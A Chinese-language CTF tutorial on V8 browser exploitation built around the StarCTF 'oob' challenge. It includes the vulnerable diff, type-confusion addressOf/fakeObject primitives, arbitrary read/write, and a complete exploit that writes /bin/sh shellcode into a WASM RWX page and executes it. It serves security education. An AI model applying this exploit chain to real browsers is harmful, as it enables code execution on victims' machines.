这篇文章笔者将带领大家一起入门学习V8,pwn方向中,v8也是一个比较有趣的方向!
chrome 里面的 JavaScript 解释器称为v8,我们做的pwn题主要面向的也是这个。这里搭建环境的步骤如下:
环境搭建
#depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH":`pwd`/depot_tools
#ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
export PATH="$PATH":`pwd`/ninja
编译v8
fetch v8
#这个步骤需要开启代理
cd v8&& gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
#out.gn文件夹是最后输出的文件位置
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
调试方法
#source /home/lyyy/Desktop/pwndbg/gdbinit.py
source /home/lyyy/Desktop/tools/pwndbg/gdbinit.py
source /home/lyyy/Desktop/v8/tools/gdb-v8-support.py
source /home/lyyy/Desktop/tools/Pwngdb/angelheap/gdbinit.py
source /home/lyyy/Desktop/tools/Pwngdb/pwngdb.py
#source /home/lyyy/Desktop/tools/peda-heap/peda.py
set context-output /dev/pts/2
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
#v8 gdb define
# Print tagged object.
define job
call (void) _v8_internal_Print_Object((void*)($arg0))
end
document job
Print a v8 JavaScript object
Usage: job tagged_ptr
end
# Print content of v8::internal::Handle.
define jh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).location_))
end
document jh
Print content of a v8::internal::Handle
Usage: jh internal_handle
end
# Print content of v8::Local handle.
define jlh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).val_))
end
document jlh
Print content of a v8::Local handle
Usage: jlh local_handle
end
# Print Code objects containing given PC.
define jco
call (void) _v8_internal_Print_Code((void*)($arg0))
end
document jco
Print a v8 Code object from an internal code address
Usage: jco pc
end
# Print LayoutDescriptor.
define jld
call (void) _v8_internal_Print_LayoutDescriptor((void*)($arg0))
end
document jld
Print a v8 LayoutDescriptor object
Usage: jld tagged_ptr
end
# Print TransitionTree.
define jtt
call (void) _v8_internal_Print_TransitionTree((void*)($arg0))
end
document jtt
Print the complete transition tree of the given v8 Map.
Usage: jtt tagged_ptr
end
# Print JavaScript stack trace.
define jst
call (void) _v8_internal_Print_StackTrace()
end
document jst
Print the current JavaScript stack trace
Usage: jst
end
# Skip the JavaScript stack.
define jss
set $js_entry_sp=v8::internal::Isolate::Current()->thread_local_top()->js_entry_sp_
set $rbp=*(void**)$js_entry_sp
set $rsp=$js_entry_sp + 2*sizeof(void*)
set $pc=*(void**)($js_entry_sp+sizeof(void*))
end
document jss
Skip the jitted stack on x64 to where we entered JS last.
Usage: jss
end
# Print stack trace with assertion scopes.
define bta
python
import re
frame_re = re.compile("^#(d+)s*(?:0x[a-fd]+ in )?(.+) (.+ at (.+)")
assert_re = re.compile("^s*(S+) = .+<v8::internal::Perw+AssertScope<v8::internal::(S*), (false|true)>")
btl = gdb.execute("backtrace full", to_string = True).splitlines()
for l in btl:
match = frame_re.match(l)
if match:
print("[%-2s] %-60s %-40s" % (match.group(1), match.group(2), match.group(3)))
match = assert_re.match(l)
if match:
if match.group(3) == "false":
prefix = "Disallow"
color = " 33[91m"
else:
prefix = "Allow"
color = " 33[92m"
print("%s -> %s %s (%s) 33[0m" % (color, prefix, match.group(2), match.group(1)))
end
end
document bta
Print stack trace with assertion scopes
Usage: bta
end
# Search for a pointer inside all valid pages.
define space_find
set $space = $arg0
set $current_page = $space->first_page()
while ($current_page != 0)
printf "# Searching in %p - %pn", $current_page->area_start(), $current_page->area_end()-1
find $current_page->area_start(), $current_page->area_end()-1, $arg1
set $current_page = $current_page->next_page()
end
end
define heap_find
set $heap = v8::internal::Isolate::Current()->heap()
printf "# Searching for %p in old_space ===============================n", $arg0
space_find $heap->old_space() ($arg0)
printf "# Searching for %p in map_space ===============================n", $arg0
space_find $heap->map_space() $arg0
printf "# Searching for %p in code_space ===============================n", $arg0
space_find $heap->code_space() $arg0
end
document heap_find
Find the location of a given address in V8 pages.
Usage: heap_find address
end
set disassembly-flavor intel
set disable-randomization off
# Install a handler whenever the debugger stops due to a signal. It walks up the
# stack looking for V8_Dcheck and moves the frame to the one above it so it's
# immediately at the line of code that triggered the DCHECK.
python
def dcheck_stop_handler(event):
frame = gdb.selected_frame()
select_frame = None
message = None
count = 0
# limit stack scanning since they're usually shallow and otherwise stack
# overflows can be very slow.
while frame is not None and count < 5:
count += 1
if frame.name() == 'V8_Dcheck':
frame_message = gdb.lookup_symbol('message', frame.block())[0]
if frame_message:
message = frame_message.value(frame).string()
select_frame = frame.older()
break
if frame.name() is not None and frame.name().startswith('V8_Fatal'):
select_frame = frame.older()
frame = frame.older()
if select_frame is not None:
select_frame.select()
gdb.execute('frame')
if message:
print('DCHECK error: {}'.format(message))
gdb.events.stop.connect(dcheck_stop_handler)
end
allow-natives-syntax
选项://方法一
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax
//方法二
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
js
代码中使用%DebugPrint();
以及%SystemBreak();
下断点。%SystemBreak()
其作用是在调试的时候会断在这条语句这里,%DebugPrint()
则是用来打印对象的相关信息,在debug
版本下会输出很详细的信息。job命令
JavaScript
对象的内存结构。gdb
下使用:job 对象地址。No symbol "_v8_internal_Print_Object" in current context.
V8 对象结构
map: 定义了如何访问对象
prototype:对象的原型(如果有)
elements:对象的地址
length:长度
properties:属性,存有map和length
elemnts
指向的内存区域的,而且是在对象的上面。也即,在内存申请上,V8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements
指向了存储元素内容的内存地址。map属性详解
map
(数组是对象)是一种数据结构,其中包含以下信息:对象的动态类型,即 String,Uint8Array,HeapNumber 等
对象的大小,以字节为单位
对象的属性及其存储位置
数组元素的类型,例如 unboxed 的双精度数或带标记的指针
对象的原型(如果有)
Map
中,而属性值则存储在对象本身中几个可能区域之一中。然后,map
将提供属性值在相应区域中的确切位置。map
换成浮点数组 -> 就变成了浮点数组,会以 浮点数的形式存储对象的地址;如果将对 浮点组的 map 换成对象数组 -> 就变成了对象数组,打印浮点数存储的地址。对象和对象数组
StarCTF oob
漏洞分析
oob.diff
文件,如下所示:diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)
+ CPP(ArrayOob)
/* ArrayBuffer */
/* ES #sec-arraybuffer-constructor */
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
oob
函数,主要分为三部分:定义、实现和关联。定义
oob
的内置函数(用于调用),内部调用的函数名是kArrayOob
(实现oob的函数)。+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
obb函数分析
参数处理:
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
-
args.length()
获取传递给该内置函数的参数数量。 -
如果参数数量超过2,则返回未定义值,这可能是为了限制该函数仅处理特定数量的参数。
将接收器对象转换为JSReceiver:
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
-
Object::ToObject(isolate, args.receiver())
将传入的接收器对象转换为一个JSReceiver对象,并将其赋值给receiver
句柄。 -
ASSIGN_RETURN_FAILURE_ON_EXCEPTION
是一个宏,用于检查转换过程中是否发生异常,如果有异常则返回失败状态。
处理数组对象:
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
-
Handle<JSArray>::cast(receiver)
将接收器对象receiver
转换为JSArray
类型的句柄。 -
array->elements()
获取数组的元素。 -
FixedDoubleArray::cast(...)
将数组的元素转换为FixedDoubleArray
类型,这可能意味着该函数特别处理双精度浮点数数组。 -
array->length()->Number()
获取数组的长度并转换为uint32_t
类型。
处理读取操作(当 len == 1
时):
cpp复制代码if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}
cpp复制代码if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}
-
当参数数量为1时,执行读取操作。 -
elements.get_scalar(length)
获取数组中索引为length
的元素的值,并使用NewNumber
将其包装为一个新的数字对象。
处理写入操作(当 len == 2
时):
cpp复制代码else {
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
cpp复制代码else {
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
-
当参数数量为2时,执行写入操作。 -
Object::ToNumber(isolate, args.at<Object>(1))
将第二个参数(索引为1)转换为数字类型。 -
elements.set(length, value->Number())
将转换后的数字值写入数组中索引为length
的位置。 -
最后返回未定义值,表示写入操作完成。
[0, length-1]
。而这里我们能够修改arr[length]
的值,那么就可以越界修改相邻的一个地址的值。也就是我们平时off by one。len==1 return(arr[length])
len==2 return(arr[length]=data)
漏洞利用
基础工具api编写
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
浮点数组的内存
var a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var c = [a, b]
%DebugPrint(c);
%SystemBreak();
var a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var c = [a, b]
%DebugPrint(c);
%SystemBreak();
接下来我们来调试观察一下内存中的布局:
JSArray
的map
类型是 紧邻在 element
类型的下面的,也即上面的0x1c27e95c2ed9。map
的一个作用就是标识当前变量的 类型,那么这里我们就可以利用修改map
来修改一些 变量的数据类型,达到类型混淆的作用。对象数组的内存布局
var a = [1.1, 2,2];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2];
var c = [a, b];
console.log(c[0]);
%DebugPrint(c);
%SystemBreak();
+---> elements +---> +---------------+
| | |
| +---------------+
| | |
| +---------------+ fakeObject +--------------+
| |fake_array[0] | +----------> | map |
| +---------------+ +--------------+ 想要 读 或 改 的
| |fake_array[1] | | prototype | 内 存
| +---------------+ +--------------+ +-------------+
| |fake_array[2] | | elements | +------> | |
| +---------------+ +--------------+ | |
| | | | | | |
| | | | | | |
| fake_array+--> +---------------+ | | | |
| | map | | | | |
| +---------------+ | | | |
| | prototype | +--------------+ | |
| +---------------+ | |
+--------------------+ elements | | |
+---------------+ | |
| length | | |
+---------------+ | |
| properties | | |
+---------------+ +-------------+
set {unsigned long long} 0x3414a684dee8 =0x6aab1b02ed9
var fake_array = [
float_array_map,//fake to be a float arr object
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];
泄露地址函数
function leak(object)
{
obj_arr[0] = obj;
obj_arr.oob(float_array_map);//修改map值为float数组的map值
let obj_addr = f2i(obj_arr[0]-1n); //read obj[0] is obj_addr
obj_arr.oob(obj_array_map); //恢复object的map值
return obj_addr;
}
伪造对象辅助函数
function fakeObject(addr_to_fake)
{
float_arr[0] = i2f(addr_to_fake+1n);
float_arr.oob(obj_array_map); //修改map值
let fake_obj = float_arr[0]; //get fake_obj
float_arr.oob(float_array_map); //恢复map值
return fake_obj;
}
任意地址读写
map
prototype
elements
length
properties
任意地址读功能编写
var fake_array = [
float_array_map,//fake to be a float arr object
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];
var fake_arr_addr = leak(fake_array);
var fake_object_addr = fake_arr_addr - 0x30n
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);//其实就是跟heap的chunk的道理一样,我们需要data区域的内容,但是申请的时候需要分配prev_size和size位,这里也是一样道理的,要去掉一个map和prototype的位置,需要提前减掉0x10
let leak_data = f2i(fake_object[0]);//解析第一个元素
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
任意地址写功能编写
function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
命令执行
wasw模版推导
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
vmmap查看一下地址执行权限:
可以看到instance上有可读可写可执行段的地址,可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。
那么我们的思路便是,通过任意地址读将这个可读可写可执行段地址泄露到,然后利用我们的任意地址写功能,将shellcode写入到这个地址中去。
其实也是跟pwn的思路相同了,将我们的shellcode写入到这个可读可写可执行的段中!
exp:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n), // fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
//data_view任意写
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
shellcode = [
0x91969dd1bb48c031n,
0x53dbf748ff978cd0n,
0xb05e545752995f54n,
0x50f3bn
];
var data_buf = new ArrayBuffer(32);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
// trigger shellcode
f();
原文始发于微信公众号(山石网科安全技术研究院):通过StarCTF oob题目学习V8 PWN 入门